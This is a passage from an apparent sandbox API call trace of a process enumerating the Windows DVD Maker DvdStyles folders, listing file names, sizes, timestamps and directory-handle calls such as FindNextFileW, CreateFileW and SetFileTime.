ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x300000, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x300000, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x300000, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0055.541] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0055.541] GetLastError () returned 0x12 [0055.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0adb0) returned 1 [0055.541] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.541] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0055.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.542] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.542] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf10738, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf10738, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf10738) returned 1 [0055.542] NtClose (Handle=0x134) returned 0x0 [0055.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.542] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0055.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0055.544] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0055.545] GetLastError () returned 0x12 [0055.545] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.545] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.546] GetLastError () returned 0x12 [0055.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.546] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.547] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.547] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.547] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf11340, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf11340, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf11340) returned 1 [0055.547] NtClose (Handle=0x180) returned 0x0 [0055.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.549] GetLastError () returned 0x12 [0055.549] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.550] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.550] GetLastError () returned 0x12 [0055.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ad28) returned 1 [0055.550] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.551] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.551] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.551] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf10738, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf10738, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf10738) returned 1 [0055.551] NtClose (Handle=0x134) returned 0x0 [0055.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.553] GetLastError () returned 0x12 [0055.553] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.553] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.553] GetLastError () returned 0x12 [0055.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0adb0) returned 1 [0055.553] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.555] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.555] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf15bc0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf15bc0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf15bc0) returned 1 [0055.555] NtClose (Handle=0x180) returned 0x0 [0055.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.555] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.557] GetLastError () returned 0x12 [0055.557] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.557] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.557] GetLastError () returned 0x12 [0055.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.557] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.558] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.558] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.558] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf15bc0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf15bc0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf15bc0) returned 1 [0055.558] NtClose (Handle=0x134) returned 0x0 [0055.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.558] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.560] GetLastError () returned 0x12 [0055.560] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", 